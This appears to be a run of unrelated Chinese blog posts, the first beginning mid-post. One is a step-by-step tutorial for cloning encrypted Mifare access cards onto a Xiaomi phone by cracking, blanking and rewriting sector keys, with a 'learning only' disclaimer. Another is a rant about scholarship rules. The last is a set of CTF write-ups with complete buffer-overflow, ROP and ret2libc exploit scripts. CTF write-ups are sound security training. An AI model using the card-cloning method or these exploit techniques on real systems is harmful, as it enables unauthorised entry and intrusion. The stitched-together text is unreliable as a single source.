其中拥有 16个扇区 ,每个扇区拥有 两个密钥 ,这种类型的卡是小米手机可以模拟的,但能否成功模拟还需要一些运气。(根据机器的好坏,卡片破解的成功率也会有所不同)

门卡区分

ID卡与IC卡

distinguish

UID CUID FUID UFUID 卡

UID 卡

普通复制卡,可以重复擦写所有扇区,主要应用在IC卡复制上,遇到带有防火墙的读卡器就会失效。

CUID 卡

可擦写防屏蔽卡,可以重复擦写所有扇区,UID卡复制无效的情况下使用,可以绕过防火墙,但对于有些防火墙无效,需用到FUID卡。

FUID 卡

不可擦写防屏蔽卡,此卡的特点0扇区只能写入一次,写入一次变成 M1 卡,CUID 复制没用的情况下使用,可以绕过防火墙。

UFUID 卡

高级复制卡,我们就理解为是 UID 和 FUID 的合成卡,需要封卡操作,不封卡就是 UID 卡,封卡后就变为 M1 卡。

小米手机模拟门卡的原理

小米手机模拟门卡有两种方式:

  1. 开空白卡片.

    ​ 通过选择 “自定义空白卡”, 并且进行身份认证,可以为手机开通一张空白的卡片,再将卡贴进发卡机器,即可获得一张全新卡片。

    ​ 这个方法有一个很明显的弊端,就是 卡片 uid 无法模拟,当遇到根据 uid 识别身份的场景,这种方法就不凑效了。

    这是一种最直接通过物管获取卡片的方式,如果物管好说话可以直接找他们帮助发卡。

  2. 复制非加密卡

    ​ 小米手机会自动识别卡片类型,如果卡片的所有扇区均未加密,即可进行复制并且完全模拟。

    优势很明显: 可以 完全复制 包括 uid 在内的所有卡片信息(厂商信息除外)

    缺点:只能复制非加密卡

​ 似乎只有非加密卡才能被复制 uid ,难道加密卡只能复制除了0扇区之外的信息了吗?

答案当然不是这样的!

我们可以通过 伪造非加密卡 来达到复制uid的效果!

因为卡片的任意数据都是可以被自由修改的,我们可以将卡片的密钥清除,将其伪装成一张 非加密卡 写入小米手机后,再用设备将密钥写回去。

过程

准备原料

  1. 带NFC功能的小米手机/手环

  2. PN532 一台(其他读卡器也可)

    首先确认一下线序,插错必烧

    QQ图片20191101120958_cr.jpg

  1. 空白 cuid卡 一张

    读取原卡

    打开上位机,读取原卡内容。

    (涉及到破解密钥的过程,时间会有点长,但只要能解析出原信息,那么都是可以模拟的)

    我们可以看到卡片的大致结构

    QQ图片20191101114910.png

    0扇区的第0块主要存储卡的基本信息,包括 UID 以及 厂商信息

    第3块的前6个字节存储该扇区的 keyA,中间4个字节是访问控制码 ,后6个字节存储 keyB

    由于这是一张加密卡,所以我们得把数据 dump 下来,并且将数据通过非加密卡传入手机中

    dump 并 修改数据

    点击上位机左上角的三角形图标,dump数据

    QQ图片20191101114910.png

然后可以把这个数据先备份下来,为后面给手机写入 原卡数据 做准备

010editor 打开dump后的数据

我们需要把加密卡转换成非加密卡,只需要把 keyA keyB 写为 FFFFFFFFFFFF 即可(相当于无密钥)

QQ图片20191101114910.png

可以用替换命令一键替换

其他东西不用管,只需要确保密钥被清除即可,然后保存

写入白卡

一键写入,不需赘述。

QQ图片20191101114910.png

写卡完成之后再读取一遍,确认我们已经成功抹掉密钥

QQ图片20191101114910.png

密钥已经成功清除

手机复制白卡

按照复制白卡的方式创建门卡

QQ图片20191101120958_cr.jpg

​ 进行身份验证之后,将白卡贴至手机即可复制成功。

用pn532覆写密钥

现在我们手中的模拟门卡只具有 存储的信息,并未储存机器中 匹配的密钥

最后一步是要将原卡的加密密钥一并复制到手机模拟卡当中。

如果在前一步没有备份好原卡的信息的话,还需要重新读卡一次并dump数据

已经备份好了可以直接进行下一步

这一步直接双击手机的电源键,唤起手机 NFC卡片

将手机靠近pn532,读取卡片,并且写入 原卡数据 即可

(注意,不是那个伪造的非加密卡的数据,而是原卡数据)

QQ图片20191101114910.png

为了确保写入成功,我们重新读取一次手机NFC数据:

QQ图片20191101160656.png

看到N9~N15: 厂商信息。已经和原卡完全不同了!这里是我之前在基础知识里面所说的,由于小米官方的原因,厂商信息是无法修改的,会原封不动地保留下来,而其他信息和原卡完全一致

至此,我们利用pn532来复制卡片便成功了!

声明 :本教程仅供学习交流之用途,本教程不能增加你的饭卡余额,亦不能使你越过他人的门禁系统,仅仅作讨论NFC技术所使用,不得将技术用于非法途径,违法者必将受到处罚!

​ 在你电奖学金想要加个分就这么难吗?

​ 辛辛苦苦一年打了十多场比赛,好不容易得了几个奖状,拿到辅导员面前一问,她便以”这个比赛我们软件学院的老师没听说过”为由就将我所有的努力全部都否定了?
好声好气地慢慢解释,她还反问我:”你是在那个地方找的比赛哦,是不是在百度找的哦?我们的奖学金认定很谨慎的,很多比赛都很水的“ ​ 堂堂一个辅导员,不为了学生的健康发展而做出努力,却阴阳怪气地去质疑一个学生,去干涉那些和她利益毫不相关的奖学金,为的是什么?何况奖学金细则可从来没有写我必须参加哪种类型的比赛啊?什么自由参加比赛,“只要有证明即可加分”这些承诺都是假的。为何纸上一套,嘴上一套呢?
​ 最水的比赛会花上两天两夜在电脑面前肝题,最水的比赛会让全国上百所高校的学生争相参加,国家高度重视吗?
​ 辅导员想让你做的,只是按照他们设计的路线,走好所谓的”成功之路”,参加他们的比赛,特别是那些对于自己能力提升毫无意义的,却能给学院带来巨大声望的比赛,这才是水赛啊,呵呵,我 骂 我 自 己 。对于那些真正有意义的比赛,他们不care,心情好会给你一个奖励,心情不好则给你安上骗学分、骗奖学金的标签。
​ 学生工作,辅导员助理,这些工作算不上轻松,但绝谈不上肝。我们电子科大的学生拼死拼活忙一年,即使发表一篇sci论文所得的分还没一个学生会干事来的多,而且当学生干事,奖学金认定轻轻松松,为学校做事就是好啊。为你做了事,当然应当奖励。而到了你利益的盲区,就各种克扣学生、为难学生,当上了正义的使者。
​ 我从来没有否定过学生活动的重要性,何况我自己就是班委制度的受益者,学生工作有多累我也是明白的,他们应当拿到这份奖励。我只希望辅导员的嘴脸不要摆的那么明显,单纯为利益所驱动,打着为了学生好的旗帜来做双标、利己的勾当。
​ 所谓那啥: 我还是不所谓了。就这样吧。
​ 辅导员的话不能信,他们告诉你的人生经验有很大一部分是利益权衡之后的结果,”想要出人头地就去考研”、”成绩好的出国了”、”这个比赛含金量非常高”,潜台词就是用你的付出去为学院赚业绩,提升自我这些东西只是借口罢了,他们没有读过我们专业,他们自己也不懂软件专业应当达到的要求,他们眼中学院要求的事情就是成功的法宝。
​ 我们真正应该做的,是去多接触业界大佬,多与老师交流,用他们的见识来为自己的未来铺路。多做项目,多加入老师的实验室,而不是去得那个看起来光鲜实则那啥的奖学金。
​ 很多时候,辅导员永远是一个学校用于背锅的存在,他们既承受着来自于学校的压力,又要忍受来自于学生的不满。辅导员的所作所为,其实和学校的处事方式也是有高度关系的。
​ 我梦想着,我的母校,有一天能够务实作风,发挥他作为一个信息技术专精之高校的优势,赶超国外高校,眼看着李言荣校长让我们学校的学风焕然一新,眼看着我们学校的收分从10000名升到了2400名,可是他却离任了。
​ 最后,那个梦想,永远只能是个梦想啊。

CNSS-PWN

GuessPigeon.7z

GuessPigeon

analyze

unsigned int __cdecl guess(int a1)
{
char nptr; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
puts("Please input your guess:");
__isoc99_scanf("%s", &nptr);
if ( atoi(&nptr) == a1 )
{
puts("My Gooood!You guessed the pigeon number!!");
getshell();
}
else
{
printf("You are wrong!The pigeon's number is %d\n try again~", a1);
}
return __readgsdword(0x14u) ^ v3;
}

可见 scanf处没有限制字符串长度大小,可以通过该处进行栈溢出

a1是调用guess函数时传入的参数,存在栈里面

nptr为输入的字符串,也存在栈里面

可知进行栈溢出可以将a1和nptr覆盖成一样的形式,从而getshell

虽然这道题有canary,但是并没有起到作用

char nptr; // [esp+8h] [ebp-70h]

题外话:关于padding的长度,一定要用gdb调试后算出来!!

用ida眼睛看的十有八九都是错的!!

exp.py

from pwn import *

p = remote("132.232.34.26",8888)
p.recvuntil('input your token:')
p.sendline("GuessPigeon")

payload = '123' + '\x00'
payload += 'a' * 0x74
payload += p32(123)

p.recvuntil('Please input your guess:')
p.sendline(payload)
p.interactive()

GuessPigeon2

analyze

int guess()
{
int result; // eax
char buf; // [rsp+0h] [rbp-70h]

puts("Please input your guess:");
__isoc99_scanf("%s", &buf);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
puts("Do you want to get hint? yes/no?");
read(0, &buf, 0x100uLL);
result = strcmp(&buf, "yes");
if ( !result )
result = printf("Do you know \"%s\"\n", s);
return result;
}

这次的ELF文件是64位的,传参方式为寄存器传参,这意味着我们需要用到ROP链来构造一段代码把参数传到寄存器里面去

rop

ROPgadget --binary GuessPigeon2 --only 'pop|ret' | grep 'rdi'

0x0000000000400933 : pop rdi ; ret

binsh

同时 字符串s刚好指向了 /bin/sh,利用system(s)可以getshell

查询了一下,system函数刚好存在于elf文件中,直接引用即可

0x400650

程序执行完guess之后,会跳到pop_rdi_ret的函数处,将rdi赋值为s的地址,接着调用system(),从而getshell

exp.py

from pwn import *

#p = process('./GuessPigeon2')
p = remote('132.232.34.26',8888)

pop_rdi_ret = 0x400933
system_addr = 0x400650
binsh_addr = 0x600E20

payload = 'a' * 0x78
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)


p.recvuntil('input your token:')
p.sendline('GuessPigeon2')

p.recvuntil("Please input your guess:")
p.sendline('a')

p.recvuntil("Do you want to get hint? yes/no?")
p.sendline(payload)
p.interactive()

GuessPigeon3

analyze

unsigned int guess()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(&buf, 0, 0x64u);
puts("You You have two chances. Please input your guess:");
read(0, &buf, 0x100u);
printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf);
puts("Please input your guess again:");
read(0, &buf, 0x100u);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
return __readgsdword(0x14u) ^ v2;
}

我们checksec一下

[*] '/home/mrh929/Desktop/cnss/GuessPigeon3/GuessPigeon3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序开启了Canary和栈不可执行,guess函数中有两个read函数,即有两个溢出点

第一个溢出点的后面紧跟着一个printf,推测可能是用来泄露canary用的

canary

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

canary是一种防止栈溢出的方式,通过在执行函数之前生成一个随机的canary,可以防止在函数结束之前有人通过read, scanf等不安全的函数进行栈溢出攻击,程序结束时会stack_check_fail,一旦canary被改变,程序将会马上退出

canary的特点是最低位为0, eg: 0x49d8c100 ,本意是将printf截断,我们在用padding填充的时候可以sendline,即在最后一位填上一个’\n’,就可以做到将canary输出,当然最后要记得canary = out - ‘a’

libc

程序中没有给出system函数和/bin/sh字符串

但是给了一个libc文件,libc文件是一个动态链接库,程序通过读取这个动态链接库来执行它想要的函数

当然这个动态链接库的地址就不是固定的了,虽然我们静态分析的时候会得到一个静态的地址,但这个并不是动态链接库的最终地址,我们需要将程序运行之后某个libc函数的地址泄露出来,算出它与libc中的静态地址的偏移,从而得到libc中每个函数的真实地址

plt got

https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/#global-offset-table

plt的本质上是一个指向got表的指针,系统调用函数的时候会首先jmp plt,由plt进行push ,再jmp的操作,最终读取到got表,将eip指向函数的真实地址。

这个生成got表的动作是动态的,所以在我们没有调用某个函数时这个函数的got表将不存有任何地址信息。我们想要得到某个libc函数的真实地址,最好的方法是找准一个已经被系统执行的函数,查询它的got表,从而得到这个函数的真实地址。

这道题中puts和read函数都是被程序执行过的,我们随意选取一个函数

elf.got[‘puts’] 调出got表地址,利用write(三个参数)或者puts(一个参数)函数将其输出

相当于把guess函数的返回地址设置为write/puts

注意,这里调用write/puts函数的本质也是调用plt表,在汇编层面其实等价于jmp addr

而这些函数都是需要ret/ leave 的,所以相应的我们应当在 write_plt 后面先加入一个 ret_addr ,再push 参数

after that

同样的,注意canary 和 write_plt之间也有12个字节的padding,我第一次做这题的时候也是在padding上面卡了很久,一定要用gdb仔细调试才能得出padding长度!!

ret_addr可以设置为guess,因为guess函数有两个溢出点,可以继续栈溢出

在我们得到read的真实地址之后,我们就可以通过

read_addr - libc.symbols[‘read’]

来得出偏移offset了,现在我们就可以知道任何一个函数的真实地址了

再执行一遍guess,同样的要获取canary并且构造payload。

最后压入/bin/sh参数,执行system()

little trick

import pwnlib
pwnlib.gdb.attach(process)

可以对pwntools的过程进行调试

exp.py

import pwnlib
from pwn import *

#p = process('./GuessPigeon3')

p = remote('132.232.34.26',8888)
p.recvuntil('token:')
p.sendline('GuessPigeon3')


elf = ELF('./GuessPigeon3')
libc = ELF('libc.so.6')



ret_addr = elf.symbols['guess']
write_got = elf.got['write']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']

payload1 = 'a' *100
p.recvuntil('Please input your guess:')
p.sendline(payload1)
p.recvuntil(payload1)
canary = u32(p.recv(4)) - 0xa #get canary value

print "canary = " + str(hex(canary))




payload2 = 'b'*100 + p32(canary) + 'b'* 12
payload2 += p32(puts_plt) + p32(ret_addr) + p32(write_got)

p.recvuntil("your guess again:")
p.send(payload2)



p.recvuntil('Good bye~\n')
write_addr = u32(p.recv(4))
print "libc_read_addr = " + hex(write_addr)

# return to guess()

payload3 = 'c' * 100
p.recvuntil('Please input your guess:')
p.sendline(payload3)
p.recvuntil(payload3)
canary = u32(p.recv(4)) - 0xa #another canary
print "canary' = " + str(hex(canary))


libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_binsh = libc.search('/bin/sh').next()
offset = write_addr - libc_write #offset between real_addr and libc_addr
system_addr = offset + libc_system
binsh_addr = offset + libc_binsh

payload4 = 'd'*100 + p32(canary)
payload4 += 'b'*12
payload4 += p32(system_addr) + p32(ret_addr) + p32(binsh_addr)


p.recvuntil('again:')
p.sendline(payload4)
p.interactive()